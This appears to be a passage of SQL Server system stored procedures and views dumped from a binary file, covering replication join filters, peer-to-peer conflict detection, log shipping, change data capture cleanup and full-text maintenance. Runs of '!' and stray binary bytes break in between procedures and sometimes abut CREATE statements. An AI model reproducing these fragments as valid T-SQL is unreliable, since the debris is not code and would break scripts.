    create table #tempcmd (step int identity NOT NULL, cmdtext nvarchar(max) collate database_default null)

    /* Figure out base table, join table for this join filter */
    select @base_nick = art_nickname, @join_nick = join_nickname,
        @join_clause = join_filterclause
        from dbo.sysmergesubsetfilters where pubid = @pubid and join_filterid = @filterid and (filter_type & 1) = 1
    select @base_objid = objid, @view_type = view_type, @view_objid = sync_objid from dbo.sysmergearticles where pubid = @pubid and nickname = @base_nick
    select @join_objid = objid, @before_viewname = object_name(before_view_objid)  from dbo.sysmergearticles where pubid = @pubid and nickname = @join_nick
    select @base_table = QUOTENAME(name), @base_owner = QUOTENAME(SCHEMA_NAME(schema_id)) from sys.objects where object_id = @base_objid
    select @join_table = QUOTENAME(name), @join_owner = QUOTENAME(SCHEMA_NAME(schema_id)) from sys.objects where object_id = @join_objid
    select @guidcolname = name from sys.columns where object_id = @base_objid and 
            is_rowguidcol=1
    select @joinguidname = name from sys.columns where object_id = @join_objid and 
            is_rowguidcol=1
    select @view_name = object_name(@view_objid)
    -- Quote the viewname.  It is made from pub name which may have odd characters.
    set @view_name = QUOTENAME(@view_name)
    set @base_nickstr = convert(nchar(10), @base_nick)
    set @join_nickstr = convert(nchar(10), @join_nick)
    set @filterid_str = convert(nchar(10), @filterid)
    
    set @cmd_piece = 'create procedure dbo.' + @procname + ' 
        @belong int 
        AS 
            '
    insert into #tempcmd(cmdtext) values (@cmd_piece)
    set @cmd_piece = 'if @belong = 1
            begin
            /* Do a bulk insert to expand #belong */
            update #belong set flag = ' + @filterid_str + ' where flag < ' + @filterid_str + ' 
            insert into #belong (tablenick, rowguid, flag, skipexpand) select distinct ' + @base_nickstr +
            ', ' + @base_table + '.rowguidcol, 0, 0 from ' + @base_owner + '.' + @base_table + ' ' + @base_table + ', ' +
            @join_owner + '.' + @join_table + ' ' + @join_table + ', #belong b where (' + @join_clause + ') and ' + 
            @join_table + '.rowguidcol = b.rowguid and b.tablenick = ' + @join_nickstr + ' and skipexpand = 0 '
    insert into #tempcmd(cmdtext) values (@cmd_piece)
    set @cmd_piece = '  
        if @@ERROR <>0 return (1)
        /* Delete duplicates */

        delete b1 from #belong b1, #belong b2 
            where b1.rowguid = b2.rowguid and b1.tablenick = b2.tablenick
                and b1.skipexpand=1 and b2.flag=0

        delete b1 from #belong b1, #belong b2 
            where b1.rowguid = b2.rowguid and b1.tablenick = b2.tablenick
                and b1.flag=0 and b2.flag <> 0
        end '

        insert into #tempcmd(cmdtext) values (@cmd_piece)
        
    /* Will we have to check rows that we add to #notbelong? */
    if exists (select * from dbo.sysmergearticles where pubid = @pubid and nickname = @join_nick and
        len(subset_filterclause) > 0)
        set @must_check = 1
    else if exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid and join_filterid = @filterid and
        join_unique_key <> 1 and (filter_type & 1) = 1)
        set @must_check = 1
    else if not exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid and  art_nickname = @base_nick
            and join_filterid <> @filterid and (filter_type & 1) = 1)
        set @must_check = 0
    
    set @cmd_piece = '
        else 
        begin
        update #notbelong set flag = ' + @filterid_str + ' where flag < ' + @filterid_str + ' 
        /* Do a bulk insert to expand #notbelong */
        insert into #notbelong (tablenick, rowguid, flag) select distinct ' + @base_nickstr +
            ', ' + @base_table + '.rowguidcol, -1 from ' + @base_owner + '.' + @base_table + ' ' + @base_table + ', ' +
            @join_owner + '.' + @join_table + ' '  + @join_table + ', #notbelong nb where (' + @join_clause + ') and ' + 
            @join_table + '.rowguidcol = nb.rowguid and nb.tablenick = ' + @join_nickstr + ' 
            /* Remove duplicates */
            delete from #notbelong where flag = -1 and rowguid in
                (select rowguid from #notbelong where flag <> -1)
            '
    if @before_viewname  is not null
    set @cmd_piece = @cmd_piece + '
        insert into #notbelong (tablenick, rowguid, flag) select distinct ' + @base_nickstr +
            ', ' + @base_table + '.rowguidcol, -1 from ' + @base_owner + '.' + @base_table + ' '  + @base_table + ', ' +
            @before_viewname + ' ' + @join_table + ', #notbelong nb where (' + @join_clause + ') and ' + 
            @join_table + '.' + @joinguidname + ' = nb.rowguid and nb.tablenick = ' + @join_nickstr + ' 
            /* Remove duplicates */
            delete from #notbelong where flag = -1 and rowguid in
                (select rowguid from #notbelong where flag <> -1)
            '
    if @must_check = 0
        begin
        insert into #tempcmd(cmdtext) values (@cmd_piece)
        set @cmd_piece = ' update #notbelong set flag = 0 where flag = -1 
            end '
        insert into #tempcmd(cmdtext) values (@cmd_piece)
        end
    else if @view_type = 1
        begin
        insert into #tempcmd(cmdtext) values (@cmd_piece)
        set @cmd_piece =  '     -- We can do our check with a bulk delete, bulk update
            delete from #notbelong where flag = -1 and rowguid in
                (select ' + @guidcolname + ' from ' + @view_name + ')
            update #notbelong set flag = 0 where flag = -1
            end '
        insert into #tempcmd(cmdtext) values (@cmd_piece)
        end
    -- else we don't bother expanding #notbelong for this filter since there are cyclic
    -- join filters and this is not a unique key join.  The cursored calls to sp_belongs
    -- are unacceptably slow, and there would still be cases where orphaned rows could occur.


-- Now we select out the command text pieces in proper order so that our caller,
-- xp_execresultset will execute the command that creates the stored procedure.

select cmdtext from #tempcmd order by step
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`h<)SG0!@ 8CREATE VIEW INFORMATION_SCHEMA.SCHEMATA
AS
SELECT
	DB_NAME()			AS CATALOG_NAME,
	name				AS SCHEMA_NAME,
	USER_NAME(principal_id)		AS SCHEMA_OWNER,
	convert(sysname, null)		AS DEFAULT_CHARACTER_SET_CATALOG,
	convert(sysname, null) collate catalog_default	AS DEFAULT_CHARACTER_SET_SCHEMA,
	convert(sysname, DATABASEPROPERTYEX(DB_NAME(), 'sqlcharsetname'))
					AS DEFAULT_CHARACTER_SET_NAME
FROM
	sys.schemas
07&@ 8create procedure sys.sp_MSrepl_droprolemember
    @rolename       sysname,
    @membername     sysname
AS
    set    nocount on
    return(0)
0( 8create procedure sys.sp_repltablehasnonpkuniquekey 
(
    @tabid int              -- id of the table
)
as
begin
    set nocount on
    declare @retcode int
    --
    -- security check - should be dbo or sysadmin
    --
    exec @retcode = sp_MSreplcheck_publish
    if @@ERROR != 0 or @retcode != 0
        return -1
    --
    -- process if the object is a table and has index
    --
    if (ObjectProperty(@tabid, 'IsTable') = 1) and (ObjectProperty(@tabid, 'TableHasIndex') = 1)
    begin
        --
        -- Check for non PK unique keys
        --
        if exists (select indid from dbo.sysindexes 
                where id = @tabid 
                    and indid > 0 and indid < 255
                    and (status & 2) != 0 and (status & 2048) = 0 )
        begin
            declare @indid int
                        ,@indkey int
                        ,@artid int 
                        ,@qualname nvarchar(517)
                        ,@colname sysname
                        ,@artcol int

            --
            -- initialize qualified name, columns
            -- 
            exec @retcode = sp_MSget_qualified_name @tabid, @qualname OUTPUT
            if @@error != 0 or @retcode != 0 or @qualname is null
                return -1
            --
            -- If this table is not replicated then return 0 (no unique key found)
            --
            select @artid = artid from dbo.sysarticles where objid = @tabid
            if (@@error != 0 or @artid is null)
                return 0
            --
            -- Ensure that the non PK unique key is being replicated
            --
            declare #hcindid cursor local fast_forward for
                select indid from sysindexes 
                        where id = @tabid
                            and indid > 0 and indid < 255
                            and (status & 2) != 0 and (status & 2048) = 0
                            order by indid asc
            open #hcindid
            fetch #hcindid into @indid
            while (@@fetch_status != -1)
            begin
                --
                -- Enumerate the keys in this index
                --
                select @indkey = 1
                while (@indkey <= 16)
                begin
                    --
                    -- get the column name for the key
                    --
                    select @colname = index_col(@qualname, @indid, @indkey)
                    if (@colname is null) 
                        break
                    --
                    -- check if this column is enabled for replication
                    --
                    select @artcol = 0
                    exec sp_MSget_col_position @tabid, @artid, @colname, NULL, @artcol output
                    if (@artcol > 0)
                    begin
                        --
                        -- we have found a replicated non PK unique key column
                        -- break out of this loop
                        --
                        select @retcode = 1
                        break
                    end
                    --
                    -- get the next key for the index
                    --
                    select @indkey = @indkey + 1
                end -- while (@indkey <= 16) 
                --
                -- If we have found any replicated non PK unique key column
                -- then we do not need to process any further
                --
                if (@retcode =1)
                    break
                --
                -- fetch next unique index
                --
                fetch #hcindid into @indid
            end -- while (@@fetch_status != -1)
            close #hcindid
            deallocate #hcindid
        end
    end
    --
    -- all done
    --
    return @retcode
end
0195 o8create function sys.fn_GetCurrentPrincipal
(@db_name sysname)
RETURNS sysname
as 
begin
	return 
	(
		select case when (db_mirroring.mirroring_role = 1)
			then @@servername
			else 
				case when db_mirroring.mirroring_partner_instance is NULL
					then @@servername
					else db_mirroring.mirroring_partner_instance
				end
			end	
		from sys.database_mirroring db_mirroring, sys.databases databases where 
		db_mirroring.database_id = databases.database_id
		and (databases.is_published = 1 or databases.is_merge_published = 1)
		and databases.name = @db_name
	)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`$`<]Tum 0 .8create procedure sys.sp_MSpeerconflictdetection_statuscollection_sendresponse (
	@request_id	int,
	@publication	sysname, 
	@originator_node sysname,
	@originator_db sysname
)
as
begin

	-- security check - should be dbo or sysadmin
	declare @retcode int
	exec @retcode = sp_MSreplcheck_subscribe
	if @@ERROR != 0 or @retcode != 0
		return

	if sys.fn_MSrepl_istranpublished(db_name(), 1) <> 1
		return -- not tran published

	declare	@peer_node	sysname, 
			@peer_db	sysname,
			@peer_db_version int,
			@options int, 
			@conflictdetection_enabled bit,
			@peer_originator_id	int,
			@peer_conflict_retention int,
			@peer_continue_onconflict bit,
			@peer_histids nvarchar(max), --content of MSpeer_originatorid_history in xml format
			@OPT_ENABLED_FOR_P2P int,
			@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION int,
			@OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT int,
			@cmdtxt nvarchar(max)


	select 	@OPT_ENABLED_FOR_P2P = 0x1,
			@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION = 0x8,
			@OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT = 0x10

	select	@options = options, 
			@peer_originator_id = originator_id,
			@peer_conflict_retention = conflict_retention
	from syspublications
	where name = @publication

	if (@options is NULL or @options & @OPT_ENABLED_FOR_P2P <> @OPT_ENABLED_FOR_P2P)
		return -- not a p2p publication
	
	select @peer_node = publishingservername()
	select @peer_db = db_name()

	exec @retcode = sys.sp_MSgetdbversion @current_version = @peer_db_version output
	if @@error <> 0 or @retcode <> 0
		return
		
	if (@options & @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION = @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION)
	begin
		select @conflictdetection_enabled = 1

		if (@options & @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT = @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT)
			select @peer_continue_onconflict  = 1
		else
			select @peer_continue_onconflict  = 0
	end
	else
	begin
		select	@conflictdetection_enabled = 0,
				@peer_originator_id = NULL,
				@peer_conflict_retention = NULL,
				@peer_continue_onconflict = NULL
	end


	-- obtain histids
	declare @histidtab table (originator_id int,  originator_node sysname,  originator_db sysname,  originator_db_version int, originator_version int)
	insert  @histidtab
		select	originator_id,  originator_node, originator_db,  originator_db_version, originator_version
		from 	MSpeer_originatorid_history
		where	originator_publication = @publication
	if @@error <> 0
		return
	
	select @peer_histids = convert(nvarchar(max), (select * from @histidtab as histid for XML auto))
	if @@error <> 0
		return
		
	--add root: /peer_histids
	select @peer_histids = N'<peer_histids>' + @peer_histids + N'</peer_histids>' 


	-- construct the command to be forwarded
	select @cmdtxt = N'if @@microsoftversion >= 0x0A000000 
					begin
						exec sp_MSpeerconflictdetection_statuscollection_applyresponse 
							@request_id =' + cast(@request_id as nvarchar) + N',
							@peer_node = N' + QUOTENAME(@peer_node, N'''') + N',
							@peer_db = N' + QUOTENAME(@peer_db, N'''') + N',
							@peer_db_version = ' + cast(@peer_db_version as nvarchar) + N',
							@conflictdetection_enabled = ' + cast(@conflictdetection_enabled as nvarchar) + N',
							@peer_originator_id = '
							
	if @peer_originator_id is NULL
			select @cmdtxt = @cmdtxt + N'NULL,'
	else
			select @cmdtxt = @cmdtxt + cast(@peer_originator_id as nvarchar) + N','

	select @cmdtxt = @cmdtxt + N'@peer_conflict_retention = '
			
	if @peer_conflict_retention is NULL
			select @cmdtxt = @cmdtxt + N'NULL,'
	else
			select @cmdtxt = @cmdtxt + cast(@peer_conflict_retention as nvarchar) + N','							

	select @cmdtxt = @cmdtxt + N'@peer_continue_onconflict = '

	if @peer_continue_onconflict is NULL
			select @cmdtxt = @cmdtxt + N'NULL,'
	else
			select @cmdtxt = @cmdtxt + cast(@peer_continue_onconflict as nvarchar) + N','							
														
	select @cmdtxt = @cmdtxt + N'@peer_histids = N''' +  REPLACE(@peer_histids, N'''', N'''''') + N''', 
							@originator_node = N' + QUOTENAME(@originator_node, N'''') + N', 
							@originator_db = N' + QUOTENAME(@originator_db, N'''') + N'
					end'

	-- forward the command to apply response
	exec sys.sp_MSpeertopeerfwdingexec @command = @cmdtxt, @publication = @publication

	return
end 
0 8create procedure sys.sp_MScheck_allparents_wellpartitioned 
@pubid uniqueidentifier, @nickname int, @publication sysname, @article_name sysname as
begin
    declare @parent_articles table (join_nickname int)
    declare @non_well_partitioned_parent sysname;
    -- Use recursive query to get all articles directly or indirectly above @nickname
    -- in the join filter hierarchy.
    with parents_cte (join_nickname) as 
    (
        -- start with immediate parents of @nickname
        select join_nickname from dbo.sysmergesubsetfilters 
        where art_nickname = @nickname
        and pubid = @pubid
        and (filter_type & 1) = 1
            
        UNION ALL
            
        -- then recursively get the immediate parents of articles selected in previous iteration
        select smsf.join_nickname from dbo.sysmergesubsetfilters smsf, parents_cte cc
        where smsf.art_nickname = cc.join_nickname
        and smsf.pubid = @pubid
        and (smsf.filter_type & 1) = 1
    )
    insert into @parent_articles
    select distinct join_nickname from parents_cte
    
    select top 1 @non_well_partitioned_parent = sma.name 
        from dbo.sysmergearticles sma join dbo.sysmergepartitioninfo smpi
        on sma.pubid = smpi.pubid 
        and sma.artid = smpi.artid 
        and sma.pubid = @pubid
        and smpi.pubid = @pubid
        and sma.nickname in (select join_nickname from @parent_articles)
        and (smpi.partition_options = 1 or smpi.partition_options = 0)
        order by sma.nickname desc
        
    if @non_well_partitioned_parent is not null
    begin
        raiserror(21582, 16, -1, @article_name, @publication, @non_well_partitioned_parent)
        return 1
    end

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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50@ 8
CREATE PROCEDURE sys.sp_checkOraclepackageversion
(
    @publisher          sysname,
    @versionsmatch      int OUTPUT,
    @packageversion		nvarchar(256) OUTPUT 
)
AS
BEGIN
    set nocount on
    DECLARE @cmd nvarchar(4000)
                ,@retcode int
                ,@publisher_type sysname

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo
        @publisher        = @publisher,
        @rpcheader        = @cmd OUTPUT,
        @publisher_type   = @publisher_type OUTPUT,
        @skipSecurityCheck=1
    IF @retcode <> 0
        RETURN (@retcode)

    -- Reject unsupported publisher types
    IF @publisher_type NOT IN (N'ORACLE', N'ORACLE GATEWAY')
    BEGIN
        RAISERROR (21645, 16, -1, @publisher_type)
        RETURN (1)
    END                                                                     

    SELECT @publisher = UPPER(@publisher) 
            ,@cmd = @cmd + N'sys.sp_MSrepl_checkOraclepackageversion'
    
    EXEC @retcode = @cmd
                    @publisher,
                    @versionsmatch OUTPUT,
                    @packageversion OUTPUT

    RETURN (@retcode)
END
01@ U8create procedure sys.sp_change_log_shipping_secondary_primary 
(
    @primary_server sysname -- cannot be NULL
    ,@primary_database sysname -- cannot be NULL
    ,@backup_source_directory nvarchar(500) = NULL
    ,@backup_destination_directory nvarchar(500) = NULL
    ,@file_retention_period int = NULL
    ,@monitor_server_security_mode bit = NULL
    ,@monitor_server_login sysname = NULL
    ,@monitor_server_password sysname = NULL
)
as
begin
    set nocount on
    declare @retcode int
                ,@secondary_id uniqueidentifier
                ,@monitor_server sysname 
                ,@existing_security_mode int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- Does the primary exist
    --
    select @secondary_id = secondary_id
            ,@monitor_server = monitor_server
            ,@existing_security_mode = monitor_server_security_mode
    from msdb.dbo.log_shipping_secondary
    where primary_server = upper(@primary_server)
        and primary_database = @primary_database
    if (@secondary_id is null)
    begin
        raiserror(32023, 16, 1, @primary_server, @primary_database)
        return 1
    end
    --
    -- refresh monitor link if the monitor credentials are have been specified
    --
    if (upper(@monitor_server) != upper(@@servername) 
        and (@monitor_server_security_mode is not null 
                or @monitor_server_login is not null 
                or @monitor_server_password is not null))
    begin
        --
        -- check if only login credentials have changed
        --
        if (@monitor_server_security_mode is not null)
            select @existing_security_mode = @monitor_server_security_mode 
        --
        -- create link for monitor server
        --
        exec @retcode = msdb.sys.sp_MSprocesslogshipmonitorlink @mode = 1
                                        ,@monitor_server = @monitor_server
                                        ,@monitor_server_security_mode = @existing_security_mode
                                        ,@monitor_server_login = @monitor_server_login
                                        ,@monitor_server_password = @monitor_server_password
        if (@retcode != 0 or @@error != 0)
            return 1
    end
    --
    -- start transaction
    --
    begin tran sp_change_ls_sd
    save tran sp_change_ls_sd
    --
    -- update log_shipping_secondary
    --
    update msdb.dbo.log_shipping_secondary 
    set backup_source_directory = case when (@backup_source_directory is null) then backup_source_directory else @backup_source_directory end
         ,backup_destination_directory = case when (@backup_destination_directory is null) then backup_destination_directory else @backup_destination_directory end
         ,monitor_server_security_mode = case when (@monitor_server_security_mode is null) then monitor_server_security_mode else @monitor_server_security_mode end
         ,file_retention_period = case when (@file_retention_period is null) then file_retention_period else @file_retention_period end
    where secondary_id = @secondary_id
    if (@@error != 0)
        goto UNDO
    --
    -- commit
    --
    commit tran
    --
    -- all done
    --
    return 0

UNDO:
    rollback tran sp_change_ls_sd
    commit tran
    return 1
end
0V@ 8
create procedure sys.sp_MSpropagateschematorepubs
	@pubid		uniqueidentifier,
	@schema_text	nvarchar(4000),
	@schema_type int
AS
declare @pubid2			uniqueidentifier
declare @artid			uniqueidentifier
declare @fulltext		nvarchar(4000)
declare @retcode		int
declare @schemaversion			int
declare @schemaguid				uniqueidentifier
declare @schematext				nvarchar(2000)

set nocount on

	-- Find republications and add the same schema change
	declare #per_publication CURSOR LOCAL FAST_FORWARD for select pubid
		from dbo.sysmergepublications p where LOWER(publisher)=LOWER(publishingservername()) and publisher_db=db_name() and 
			exists (select * from dbo.sysmergearticles a1, dbo.sysmergearticles a2 where
					a1.pubid = p.pubid and a2.pubid = @pubid and a1.objid = a2.objid)
	open #per_publication		
	fetch #per_publication into @pubid2
	while @@fetch_status<>-1
		begin
		select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
		if (@schemaversion is NULL)
			set @schemaversion = 1
		set @schemaguid = newid()
		set @artid = newid()
		select @fulltext = @schema_text + ' ''' + convert(nchar(36),@pubid2) + '''' 
		exec @retcode=sys.sp_MSinsertschemachange @pubid2, @artid, @schemaversion, @schemaguid, @schema_type, @fulltext
		if @@ERROR<>0 or @retcode<>0 
			begin
			close #per_publication
			deallocate #per_publication
			return (1)
		  
			end
		fetch next from #per_publication into @pubid2
		end
	close #per_publication
	deallocate #per_publication
	return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Q`
<VdGy0U< 8create procedure [sys].[sp_cdc_cleanup_change_table]
(
	@capture_instance sysname,
	@low_water_mark	binary(10),
	@threshold bigint = 5000
)
as
begin
	declare @retcode int
			,@db_name sysname
			,@xstr1 nvarchar(22)
	
    set nocount on
    
    set @db_name = db_name()

    -- Verify caller is authorized to clean up change tracking  
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) and (isnull(is_member('db_owner'),0) = 0)
    begin
   		raiserror(22904, 16, -1)
        return 1
    end
    
    -- Verify database is enabled for change tracking 
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		raiserror(22910, 16, -1, @db_name)
        return 1
    end
    
    -- Parameter @threshold must be positive
    if (@threshold <= 0)
    begin
  		raiserror(22850, 16, -1)
        return 1
    end

    -- If non-null, parameter @low_water_mark must appear as the start_lsn 
    -- value of a current entry in the cdc.lsn_time_mapping table.
    if (@low_water_mark is not null)
    begin
		if not exists
			( select start_lsn from cdc.lsn_time_mapping
			where start_lsn = @low_water_mark )
		begin
			set @xstr1 = upper(sys.fn_varbintohexstr(@low_water_mark))
			raiserror(22964, 16, -1, @xstr1)
			return 1
		end
	end		  

	-- Call internal stored procedure to do the work 
	-- Switch to database 'cdc' user to mitigate against malicious dbo triggers
	execute as user = 'cdc'
	   
    exec @retcode = sys.sp_cdc_cleanup_change_table_internal
    	@capture_instance,
		@low_water_mark,
		@threshold
		
	if (@@error <> 0) or (@retcode <> 0)
	begin
		revert
        return 1
	end
	
	revert
	
	return 0		
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`X<o	WG/a0Y 8create proc sys.sp_fulltext_recycle_crawl_log
    @ftcat      sysname        -- full-text catalog name
as
    set nocount on

    -- sp_fulltext_catalog will run under read committed isolation level --
    set transaction isolation level READ COMMITTED

    -- CHECK PERMISSIONS (must be a dbowner) --
    if (is_member('db_owner') = 0)
    begin
        raiserror(15247,-1,-1)
        return 1
    end

    if (db_name() in ('master','tempdb','model'))
    begin
        raiserror(9966, -1, -1)
        return 1
    end

    -- VALIDATE PARAMS --
    if @ftcat is null OR datalength(@ftcat) = 0 -- allow spaces in the name, but not a 0-length string
    begin
        raiserror(15600,-1,-1,'sys.sp_fulltext_recycle_crawl_log')
        return 1
    end

    -- DISALLOW USER TRANSACTION --
    set implicit_transactions off
    if @@trancount > 0
    begin
        raiserror(15002,-1,-1,'sys.sp_fulltext_recycle_crawl_log')
        return 1
    end

    declare @ftcatid smallint
    select @ftcatid = fulltext_catalog_id from sys.fulltext_catalogs where name = @ftcat
    if @ftcatid is null
    begin
		declare @curdbname sysname
		select @curdbname = db_name()
		declare @curdbnamelen int
		select @curdbnamelen = LEN(@curdbname)
		raiserror(7641,-1,-1,@ftcat, @curdbnamelen, @curdbname)
        return 1
    end

	DBCC CALLFULLTEXT ( 20, @ftcat) 

	return 0
0G 8
create procedure sys.sp_generatefilters
	@publication				sysname
	AS
	/* Declare	a few variables */
	declare @pubid	uniqueidentifier
	declare @art_name sysname
	declare @object_id	int
	declare @join_objid int
	declare @retcode int
	declare @join_unique int
	declare @distance int
	
	/*
	** Security Check
	*/
	EXEC @retcode = sys.sp_MSreplcheck_publish
	IF @@ERROR <> 0 or @retcode <> 0
		return (1)

	/*
	** Parameter Check: @publication.
	** The @publication id cannot be NULL and must conform to the rules
	** for identifiers.
	*/	 
		
	if @publication is NULL
		begin
			raiserror (14043, 16, -1, '@publication', 'sp_generatefilters')
			return (1)
		end
	/*
	** Get the pubid and make sure the publication exists
	*/
	select @pubid = pubid from dbo.sysmergepublications 
		where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
	if @pubid is NULL
	begin
		raiserror (20026, 16, -1, @publication)
		return (1)
	end

	/* Set up some temp tables to help keep track of what to process */
	create table #filtered (object_id int NOT NULL, distance int NOT NULL)
	create table #unfiltered (object_id int NOT NULL, art_name sysname collate database_default not null)

	/* Do initial population of temp tables */
	insert into #filtered (object_id, distance) select objid, 0 from dbo.sysmergearticles where
		pubid = @pubid and len(subset_filterclause) > 0
	insert into #unfiltered (object_id, art_name) select objid, name from dbo.sysmergearticles
		where pubid = @pubid and objid not in (select object_id from #filtered)

	/* remove self-referencing tables from #unfiltered as we should not try to filter them */
	delete from #unfiltered where object_id in
			(select referenced_object_id from sys.foreign_keys where referenced_object_id = parent_object_id)
	select @distance = min(distance) from #filtered f, sys.foreign_keys r, #unfiltered u where
		(f.object_id = r.referenced_object_id and r.parent_object_id = u.object_id) or
		(u.object_id = r.referenced_object_id and r.parent_object_id = f.object_id)
		
	/* Look for something in sys.foreign_keys to add a join filter for */
	select @join_unique = 1, @object_id = parent_object_id, @join_objid = referenced_object_id, @art_name = art_name
		from sys.foreign_keys r, #unfiltered u where r.parent_object_id = u.object_id and
		r.referenced_object_id in (select object_id from #filtered where distance = @distance) 

	if @art_name is null
		select	@join_unique = 0, @object_id = referenced_object_id, @join_objid = parent_object_id, @art_name = art_name
			from sys.foreign_keys r, #unfiltered u where r.referenced_object_id = u.object_id and
			r.parent_object_id in (select object_id from #filtered where distance = @distance) 
	while @art_name is not null
		begin
		/* Make the join filter corresponding to this relationship */
		exec @retcode=sys.sp_MSmakejoinfilter @publication, @art_name, @object_id, @join_objid, @join_unique
		if @@ERROR<>0 or @retcode<>0 return (1)
		/* Move row from #unfiltered to #filtered */
		insert into #filtered (object_id, distance) values (@object_id, @distance + 1)
		delete from #unfiltered where object_id = @object_id
		
		/* See if any more that can be added */
